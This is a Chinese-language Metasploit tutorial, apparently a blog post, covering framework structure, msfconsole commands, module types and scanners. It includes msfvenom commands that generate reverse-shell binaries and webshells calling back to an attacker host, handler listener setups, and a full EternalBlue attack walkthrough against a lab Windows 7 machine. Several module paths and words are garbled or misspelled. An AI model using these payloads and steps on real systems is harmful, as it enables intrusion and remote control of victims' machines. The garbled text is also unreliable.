是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和盛行的shellcode ,并持续保持更新。
metasploit 涵盖了渗透测试中全过程,你可以在这个框架下利用现有的 Payload进行一系列的渗透测试。
在kail中自带Metasploit工具,这里可以直策应用。若确实须要下载在其它位置,那么也可以辞官网进行下载,同时在官网中还附带相应的官方手册。

官网:Metasploit Unleashed - Free Online Ethical Hacking Course | OffSec
1.2.Metasploit框架构造1.2.1.框架路径框架目录路径:/usr/share/metasploit-framework
1.2.2.框架内容先容
在框架的目录下,有很多的目录文件,个中比较主要的有data、modules、scripts、tools、plugins等。
参考链接:metasploit 目录构造-CSDN博客
1.2.2.1.data目录文件data目录文件中,包含meterpreter、exploits、wordlists、templates等等。 meterpreter这个模块,这个常日用于后漏洞利用的功能当中。wordlists目录,这里面包含了大量的字典。
exploits目录,里面包含大量的CVE漏洞利用代码,可供渗透过程中利用等等。
1.2.2.2.modules目录文件
modules这个目录,这个目录当中包含以下模块:auxiliary、encoders、exploits、nops、payloads、post。
exploits(漏洞攻击模块列表)
auxiliary(漏洞赞助模块,一样平常是没有攻击载荷的漏洞攻击)
encoders(编码器模块)
nops(无操作天生器模块)
payloads(漏洞负载模块)
post(开拓模块)
1.2.2.3.scripts目录文件
scripts目录,该目录下面存放的是各种脚本文件,分别是meterpreter、resource、shell。
1.2.2.4.tools目录文件
tools目录,该目录下面存放着大量的利用工具。
1.2.2.5.plugins目录文件
plugins,该目录下面包含着大量的插件。
1.3.Metasploit更新
msfconsole -v #查看版本apt-get updateapt-get install metasploit-framework
2.MSF中数据库设置
Metasploit支持利用postgresql数据库来保存渗透测试过程中获取的各种数据。关于数据库这里,并非这一步必须先学习,由于只有当后期用到了,才须要理解,前期测试,并不须要把数据先保存起来。
以是这一块可以先跳过,转头再来看。
2.1.数据库设置开启数据库:service postgresql start初始化数据库: msfdb init
若你已经配置实行此命令就会提示“A database appears to be already configured, skipping initialization(数据库彷佛已经配置,跳过初始化)”;
2.2.数据库测试这里当初始化成功后,就可以对数据库进行测试了,至于怎么进入msf6在后面会提到。这里不是必须先学习数据库。
命令:db_status
若没有连接可以手工连接。
命令:db_connect 用户名:口令@做事器地址:端口/数据库名称。
2.3.数据库管理命令
命令
阐明
msfdb init
启动并初始化数据库
msfdb reinit
删除并重新初始化数据库
msfdb delete
删除并停滞利用数据库
msfdb start
启动数据库
msfdb stop
停滞数据库
msfdb status
检讨做事状态
msfdb run
启动数据库并运行msfconsole
3.Metasploit命令先容3.1.Metasploit启动Msfconsole 是 Metasploit 框架用户接口,我们能通过 Msfconsole 接口利用Metasploit 中所有模块。
这里须要把稳的是,我是在目录下启动的,实际上并非须要在目录下启动,只是在写这篇文章的时候,恰好在这个目录下。包括下面天生的图形,每一次也是不同的,以是图像并非主要。
命令:msfconsole
msfconsole紧张是用于管理管理 Metasploit数据库、管理会话、配置启动 Metasploit模块。
并且在启动 msfconsole 时,MSF会利用创建的 msf 用户自动登录到 msf 数据库。
3.3.Msfconsole常用命令汇总这里的常用命令汇总的一个整体的攻击流程会利用到的命令,并且的很常用的命令,有些命令其实在正常测试中,并非的很常用的,感兴趣的可以自学百度搜索或者辞官网查询。
命令
先容
show exploits
查看所有可用的渗透攻击程序代码
show auxiliary
查看所有可用的赞助攻击工具
[show ]options/advanced
查看该模块可用选项
show payloads
查看该模块适用的所有载荷代码
show targets
查看该模块适用的攻击目标类型
search
根据关键字搜索某模块
info
显示某模块的详细信息
use
利用某渗透攻击模块
back
回退
set/unset
设置/禁用模块中的某个参数
setg/unsetg
设置/禁用适用于所有模块的全局参数
run/exploit
实行脚本
run-j/exploit-j
再次实行脚本
help
帮助命令
3.3.1.命令详细用法3.3.1.1.show exploitsshow exploits,查看所有可用的渗透攻击程序代码,这里是把所有的攻击程序都进行显示,以是有很多,常日情形下也很少用到,只有在实在找不到的时候才会去看看。
3.3.1.2.show auxiliary
show auxiliary,查看所有可用的赞助攻击工具,这个也是差不多都是很少用到,常日也都是用来看看。
3.3.1.3.[show]options/advanced
[show]options/advanced,查看该模块可用选项,这里的条件条件便是须要进入某个模块下。在界面中凡是yes的都是必填项,no是可选择项。
3.3.1.4.show payloads
show payloads,查看该模块适用的所有载荷代码,也是须要前辈入某个模块下。
3.3.1.5.show targets
show targets,查看该模块适用的攻击目标类型,这里大略来说便是系统或者框架等等,例如ms17永恒之蓝能攻击哪些系统。
3.3.1.6.search
search,根据关键字搜索某模块,这里只须要输入干系的关键字即可进行查找,可以精确查找也可以模糊查找。例如我要查找永恒之蓝,那么我输入:search ms17即可查找到干系的攻击模块和利用模块。
3.3.1.7.info
info,显示某模块的详细信息,这里也是和选择一样,都可以利用编号或者全体名字。例如我要查看exploit/windows/smb/ms17_010_eternalblue的信息,那么info 0或者exploit/windows/smb/ms17_010_eternalblue都可以。
3.3.1.8.use
use,利用某渗透攻击模块。这里在查找到的模块下,可以看到有编号开头以及后面的名称,以是这里可以选择use 编号对应的攻击模块或者利用模块,也可以把全体后面的名字都输入进去,都可以。
3.3.1.9.back
back,回退,该当都能理解。
3.3.1.10.set/unset
set/unset – 设置/禁用模块中的某个参数。比如这里须要设置受害者IP,那么set RHOSTS IP地址。这里的RHOSTS是不分大小写的。配置成功后可以再次利用show options利用。
3.3.1.11.setg/unsetg
setg/unsetg,设置/禁用适用于所有模块的全局参数,实在这里set和setg都差不多。
3.3.1.12.run/exploitrun/explot,实行漏洞脚本,大略来说便是当选中某一个攻击模块的时候,进行实行。
3.4.Msfconsole其它命令汇总
这里的其它命令汇总,便是将一些不是攻击过程中会利用到的命令,进行汇总,例如查一查历史命令等等,这里我就不一个个演示了,感兴趣的同样可以去自学百度搜索如何利用。
命令
先容
?
帮助菜单
banner
显示 Metasploit banner信息
cd
变动当前事情目录
debug
显示对调试有用的信息
exit/quit
退出掌握台
history
显示命令历史记录
load
加载框架插件
version
显示框架和掌握台库版本号
4.MSF模块先容模块是通过Metasploit框架装载集成对外供应的最核心的渗透测试功能实当代码。MSF所有的漏洞测试都是基于模块。
4.1.auxiliary赞助模块 赞助渗透(端口扫描、登录密码爆破、漏洞验证等)
用于赞助操作的模块,例如网络扫描、列举、漏洞扫描、登录暴力破解、模糊测试、 蜘蛛(遍历)、数据提取等。
赞助模块能在渗透之前得到目标系统丰富的情报信息,从而发起更具目标性的精准攻 击。 包括针对各种网络做事的扫描与查点、构建虚假做事网络登录密码口令破解、敏 感信息嗅探、fuzz、履行网络协议欺骗等模块。
4.2.exploits漏洞利用模块 包含主流的漏洞利用脚本,常日是对某些可能存在漏洞的目标进行漏洞利用。 命名规则:操作系统/各种运用协议分类。
用于利用漏洞和通报有效负载的模块。有远程漏洞利用、本地漏洞利用、权限提升漏 洞利用、客户端漏洞利用、Web 运用程序漏洞利用和许多其他漏洞。
利用创造的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而得到对目标系统访问掌握权的代码组件。metasploit框架中渗透攻击模块可以按照所利用的安全漏洞所在的位置分为主动渗透攻击与被动渗透攻击两大类。
4.3.payloads攻击载荷 紧张是攻击成功后在目标机器实行的代码,比如反弹shell的代码、 用于在利用期间实行操作的模块,例如建立Meterpreter 会话、反向 shell、实行命令、下载和实行程序等。攻击载荷是在渗透攻击成功后在目标系统运行的一段植入代码,常日是为渗透攻击者打开在目标系统上的掌握会话连接。在传统的渗透代码开拓中,攻击载荷只是一段功能大略的ShellCode代码,以汇编措辞体例并转换为目标系统CPU体系构造支持的机 器代码,在渗透攻击触发漏洞后,将程序实行流程挟制并跳转入这段机器代码中执 行,从而完成ShellCode中实现的单一功能。
4.4.post后渗透阶段模块 漏洞利用成功得到meterpreter之后,向目标发送的一些功能性指令,如:提权等用于在拿到权限后进行后渗透利用操作的模块,例如凭据/哈希转储、本地权限提升、后门安装、敏感数据提取、网络流量隧道(代理)、键盘记录、屏幕捕获和许多 其他操作。
4.5.encoders编码器模块 紧张包含各种编码工具,对payload进行编码加密,以便绕过入侵检测和过滤系统 用于有效负载编码和加密的模块,例如 base64、XOR、shikata_ga_nai 等。这有助于稠浊以规避防病毒或NIDS(网络入侵检测系统)、EDR(端点检测和相应)等防御。
4.6.evasion躲避模块 用来天生免杀payload 用于规避防御的模块,例如防病毒规避、AppLocker 绕过、软件限定策略 (SRP) 绕过等。
4.7.nops空指令模块 空指令便是空操作,提高paylaod稳定性及坚持,用于天生无害、良性的“无操作”指令的模块,例如用于添补目的、在利用期间在内存 中滑动等。
是一些对程序运行状态不会造成任何本色影响的空操作或无关操作指令。
在渗透攻击布局恶意数据缓冲区时,常常要在真正要实行Shellcode时,有一个较大的安全着陆区,从而避免受到内存地址随机化、返回地址打算偏差等缘故原由造成的 Shellcode实行失落败,从而提高渗透攻击的可靠性。
metasploit框架中的空指令模块便是用来在攻击载荷中添加空指令区,以提高攻击可 靠性的组件。
5.干系模块先容5.1.auxiliary模块先容这里只先容常用的,其它的可以自行百度搜索,总结都全了,那还不如直接去看官方文档了。
5.1.1.模块路径路径:/usr/share/metasploit-framework/modules/auxiliary/scanner/discovery/
5.1.2.arp_sweeparp_sweep:利用arp要求列举本地局域网中的所有生动主机利用办法:use auxiliary/scanner/discovery/arp_sweepset RHOSTS 192.168.10.0/24run
udp_sweep:通过发送UDP数据包探查指定主机是否生动,并创造主机上udp做事,这里的事理和利用和arp_sweep是一样的,就不过多讲解了。
5.2.MSF做事扫描做事扫描确定开放端口后,对相应端口上所运行的做事信息进行挖掘,这里同样先容常用的模块以及模块中常用的模块。有点像绕口令-.-
至于利用办法基本是同等的,设置须要测试的IP即可。
5.2.1.TELNET做事模块1.模块搜索命令:search scanner/orcale2.telnet弱口令探测命令:use auxiliary/scanner/telnet/telnet_login3.扫描telnet版本命令:use auxiliary/scanner/telnet/telnet_version
5.2.2.SSH做事模块
1.模块搜索命令:search scanner/ssh2.ssh弱口令探测命令:use auxiliary/scanner/ssh/ssh_login3.ssh公共密钥认证登录命令:use auxiliary/scanner/ssh/ssh_login_pubkey4.扫描ssh版本测试命令:use auxiliary/scanner/ssh/ssh_version
5.2.3.Oracle做事模块
1.模块搜索命令:search scanner/orcale
5.2.4.SMB做事模块
1.模块搜索命令:search scanner/smb2.SMB列举命令:auxiliary/scanner/smb/smb_enumusers3.返回DCERPC信息命令:auxiliary/scanner/smb/pipe_dcerpc_auditor4.扫描SMB2协议命令:auxiliary/scanner/smb/smb25.扫描smb共享文件命令:auxiliary/scanner/smb/smb_enumshares6.列举系统上的用户命令:auxiliary/scanner/smb/smb_enumusers7.SMB登录命令:auxiliary/scanner/smb/smb_login8.扫描组的用户命令:auxiliary/scanner/smb/smb_lookupsid9.扫描系统版本命令:auxiliary/scanner/smb/smb_version
5.2.5.FTP做事模块
1.模块搜索命令:search scanner/ftp2.ftp版本扫描命令:scanner/ftp/ftp_version3.ftp匿名登录扫描命令:scanner/ftp/anonymous
5.2.6.SMTP做事模块
1.模块搜索命令:search scanner/smb2.smtp列举命令:auxiliary/scanner/smtp/smtp_enum3.扫描smtp版本命令:auxiliary/scanner/smtp/smtp_version
5.2.7.SNMP做事模块
1.模块搜索命令:search scanner/smb
5.3.MSF端口扫描5.3.1.模块配置
1.模块搜索命令:search scanner/portscan2.通过ACK扫描的办法对防火墙上未被屏蔽的端口进行探测命令:auxiliary/scanner/protscan/ack3.通过FTP bounce攻击的事理对TCP做事进行列举命令:auxiliary/scanner/protscan/ftpbounce4.利用发送TCP SYN标志的办法探测开放端口命令:auxiliary/scanner/protscan/syn5.通过一次完全的TCP连接来判断端口是否开放 最准确但是最慢命令:auxiliary/scanner/protscan/tcp6.一种更为隐秘的扫描办法,通过发送FIN,PSH,URG标志,能够躲避一些高等的TCP标记检测器的过滤命令:auxiliary/scanner/protscan/xmas
5.3.2.模块利用
use auxiliary/scanner/protscan/synset RHOSTS IP地址set THREADS 20run
msf中天生payload利用msfvenom。同时在msf天生木马时有四大要素:攻击主机种类(Windows\linux)、木马种类(reverse_tcp\bind shell)、监听主机、监听端口,监听利用便是metepreter。
5.4.1.帮助命令通过msfvenom -l可以列出MSFVenom可以天生的payload列表。
5.5.二进制文件5.5.1.天生二进制文件
这里的LHOST的地址便是攻击机的IP地址,而LPORT的端口便是攻击机的端口。
Windows:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exeLinux:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elfMac:msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
5.5.2.利用办法5.5.2.1.天生payload文件
这里就针对Windows为例,利用上述的命令天生一个exe的payload文件。同时这里天生的文件就在根目录下。
命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.20 LPORT=4444 -f exe > shell.exe
这里将构建好的payload文件发送到Windows系统中。
5.5.2.3.监听payload文件
msfconsoleuse exploit/multi/handlerset PAYLOAD windows/meterpreter/reverse_tcpset LHOST 192.168.10.20set LPORT 4444set ExitOnSession falseexploit -j -z
这里运行payload文件可以直接双击运行,或者cmd运行等,均可以实现运行,但是运行并不会弹出窗口等,但实在已经运行了。
5.5.2.5.上线payload这里通过sessions命令可以看到机器上线了。
5.5.2.6.利用payload
这里可以利用sessions -i 1进行利用,这里的1是序号,可以通过上线的payload的序号进行利用。
5.6.webshell脚本
PHP:msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.phpASP:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.aspJSP:msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jspWAR:msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
5.6.2.利用办法5.6.2.1.天生payload文件
这里就针对PHP为例,利用上述的命令天生一个PHP的payload文件。同时这里天生的文件就在根目录下。
命令:msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.10.20 LPORT=4444 -f raw > shell.php
这里将构建好的payload文件发送到web目录下。
5.6.2.3.监听payload文件
msfconsoleuse exploit/multi/handlerset PAYLOAD php/meterpreter_reverse_tcpset LHOST 192.168.10.20set LPORT 4444set ExitOnSession falseexploit -j -z
这里运行payload文件可以在浏览器中访问shell.php文件。
5.6.2.5.上线payload
这里通过sessions命令可以看到机器上线了。
5.6.2.6.利用payload
这里可以利用sessions -i 2进行利用,这里的2是序号,可以通过上线的payload的序号进行利用。
这里须要把稳哦,看上面的图片,我的序号已经变成2了。
6.Msfconsole整体攻击流程
为了能够表示出整体的流程,这里选择永恒之蓝进行测试。
6.1.环境准备Windows7系统须要关闭防火墙,若开启防火墙可能会存在问题。
攻击机:192.168.10.20
受害者w7:192.168.10.40
6.2.启动Metasploit命令:msfconsole
永恒之蓝ms17_010,实在这里可以直接搜索ms17,即可涌现。
命令:search ms17_010
这里可以选择,前辈行扫描,确定是否存在漏洞,然后在进行实行。auxiliary/scanner/smb/smb_ms17_010便是扫描模块。
命令:use auxiliary/scanner/smb/smb_ms17_010
这里须要设置一个IP地址参数。可以利用show options来查看哪些参数是必设的,哪些是可选设置的,从下图可以看到我们须要设置一个IP地址。
命令:set rhosts 192.168.10.40
6.6.实行扫描
命令:run
6.7.选择攻击模块
当知道可能造成攻击后,那么就可以选择攻击模块进行攻击了。
命令:use exploit/windows/smb/ms17_010_eternalblue
6.8.设置参数
设置参数是一样的,都须要设置IP地址。
命令:set rhosts 192.168.10.40
通过实行命令,可以看到我们成功攻入进去,至此我们的完全攻击也结束了,剩下的便是后续对系统的利用了。
命令:run